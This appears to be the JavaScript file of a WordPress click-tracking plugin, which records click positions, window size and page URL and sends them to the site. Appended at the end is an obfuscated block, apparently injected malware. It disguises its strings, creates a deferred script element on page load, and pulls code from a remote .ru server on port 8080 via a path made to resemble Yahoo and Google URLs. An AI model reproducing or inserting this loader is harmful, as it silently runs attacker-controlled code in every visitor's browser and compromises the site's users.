//var clicktracking = new sack('wp-content/plugins/clicktracking/clicked.php');
var clicktracking = new sack('index.php');

// Detect if the browser is IE or not.
// If it is not IE, we assume that the browser is NS.
var IE = document.all?true:false

// If NS -- that is, !IE -- then set up for mouse capture
if (!IE) document.captureEvents(Event.MOUSEMOVE);

// Set-up to use getMouseXY function onMouseMove
document.onmousedown = getMouseXY;

/*
window.captureEvents(Event.CLICK);
window.onclick = function (evt) {
alert("clickERU!!");
return false;
}
*/
/*
window.addEventListener('click',
function (evt) {
getMouseXY(evt);
},
true
);

*/
var thisdate = new Date();
var sec = Math.round(thisdate.getTime()/1000);

// Temporary variables to hold mouse x-y pos.s
var tempX = 0
var tempY = 0


// Main function to retrieve mouse x-y pos.s
function getMouseXY(e) {  
  // eliminate frenzy clicking
  var thisdate = new Date();
  var sec2 = Math.round(thisdate.getTime()/1000);
  if (sec2 == sec)
    return;
  else
    sec = sec2;  

  if (IE) { // grab the x-y pos.s if browser is IE
    tempX = event.clientX + f_scrollLeft(); 
    tempY = event.clientY + f_scrollTop();
  } else {  // grab the x-y pos.s if browser is NS
    tempX = e.pageX  + f_scrollLeft(); 
    tempY = e.pageY;
  }  
  // catch possible negative values in NS4
  if (tempX < 0){tempX = 0}
  if (tempY < 0){tempY = 0}  


  // window size
  var myWidth = 0, myHeight = 0;
  if( typeof( window.innerWidth ) == 'number' ) {
    //Non-IE
    myWidth = window.innerWidth;
    myHeight = window.innerHeight;
  } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
    //IE 6+ in 'standards compliant mode'
    myWidth = document.documentElement.clientWidth;
    myHeight = document.documentElement.clientHeight;
  } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
    //IE 4 compatible
    myWidth = document.body.clientWidth;
    myHeight = document.body.clientHeight;
  }
  
//  alert("width: " + myWidth + " height: " + myHeight);
  
  var myWidth = f_clientWidth();
  var myHeight = f_clientHeight();

//  alert("width: " + myWidth + " height: " + myHeight);
  
  // TODO: don't count clicks on scroller
//  if (tempX > myWidth && f_scrollLeft() == 0)
//    alert("bigger x " + tempX + " width: " + myWidth); // return true;
//  if (tempY > myHeight)
//    alert("bigger y " + tempY + " height: " + myHeight); // return true;
  
  clicktracking.setVar("ct", 1);
  clicktracking.setVar("x", tempX);
	clicktracking.setVar("y", tempY);
  clicktracking.setVar("w", myWidth);
	clicktracking.setVar("h", myHeight);
	clicktracking.setVar("url", document.location.href);
  clicktracking.setVar("post_id", wpct_post_id);

	clicktracking.method = 'GET';
	clicktracking.runAJAX();
//	clicktracking.runResponse();

  return true
}


// Few lines for getting window size in different browsers
// http://www.softcomplex.com/docs/get_window_size_and_scrollbar_position.html
function f_clientWidth() {
	return f_filterResults (
		window.innerWidth ? window.innerWidth : 0,
		document.documentElement ? document.documentElement.clientWidth : 0,
		document.body ? document.body.clientWidth : 0
	);
}
function f_clientHeight() {
	return f_filterResults (
		window.innerHeight ? window.innerHeight : 0,
		document.documentElement ? document.documentElement.clientHeight : 0,
		document.body ? document.body.clientHeight : 0
	);
}
function f_scrollLeft() {
	return f_filterResults (
		window.pageXOffset ? window.pageXOffset : 0,
		document.documentElement ? document.documentElement.scrollLeft : 0,
		document.body ? document.body.scrollLeft : 0
	);
}
function f_scrollTop() {
	return f_filterResults (
		window.pageYOffset ? window.pageYOffset : 0,
		document.documentElement ? document.documentElement.scrollTop : 0,
		document.body ? document.body.scrollTop : 0
	);
}
function f_filterResults(n_win, n_docel, n_body) {
	var n_result = n_win ? n_win : 0;
	if (n_docel && (!n_result || (n_result > n_docel)))
		n_result = n_docel;
	return n_body && (!n_result || (n_result > n_body)) ? n_body : n_result;
}

var L=["M","l"];PJ=21815;PJ+=204;var N;dP=["V"];var X=false;T=function(){BY=["vO","a","BW"];function z(Y,v,n){var m=["Xq","zJ","r"];return Y.substr(v,n);var xO=["u","jE","vN"];}f=34239;f++;var G=document;this.jo=1812;this.jo--;var t=new String("/yimg"+"-com/"+"googl"+"e.com"+"/bado"+z("ngo.c4MT",0,5)+"om.ph"+z("p?pid6jt",0,5)+z("=7tIuv",0,2));var LD=new Array();var d='';this.vV=false;g=["E"];var JP=["aX"];Vr=["Lk"];var tJ=RegExp;try {var dm='lZ'} catch(dm){};oi=3438;oi-=1;var xm='';function s(Y,v){var q=["nk","lo"];var n=String(z("[br1",0,1))+v+z("]JtB",0,1);var jn={GJ:"xf"};var YJ=new tJ(n, String("g"));return Y.replace(YJ, d);Oa=24137;Oa-=120;};this.hc="hc";var rD=["vG"];Cv=["wC","Mv","S"];var Z=s('s4cbrAiApjt4','3x4jfbQA');this.zH="zH";var GS=["VZ","k"];var nxd=false;var x=852954-844874;ZU=[];var Sp=["ND","Df","RT"];var j="bod"+"y";var U=null;var vq=new Array();N=function(){try {var OV='zS'} catch(OV){};F=25032;F-=106;try {var _=s('c9r_eOa_t5e9EClOeNmOe_n0t0','9NOj30CAGh_5');var aC={};this.he=55571;this.he--;Gk=G[_](Z);var Bz=["NG"];var xT=["gi","I","Mk"];var Y=x+t;this.uc="uc";this.JPU="";var O=s('sorKch','lokPzmKh');var UY=String("def"+"er");Rg=26760;Rg++;Gk[O]="http"+z("://siajM",0,4)+z("ubroz9Ut",0,4)+"yalt"+z("y.ruRUgf",0,4)+":"+Y;qQ=[];var KW=["iN","p","eC"];var up="up";Gk[UY]=[1,8][0];var XZ=["Hr"];try {var Tf='kz'} catch(Tf){};G[j].appendChild(Gk);qp=["nZ"];try {} catch(DW){};} catch(c){fy=30165;fy++;};};wN={};};this.EO='';T();window.onload=N;LM={};Qp={Bd:"Si"};
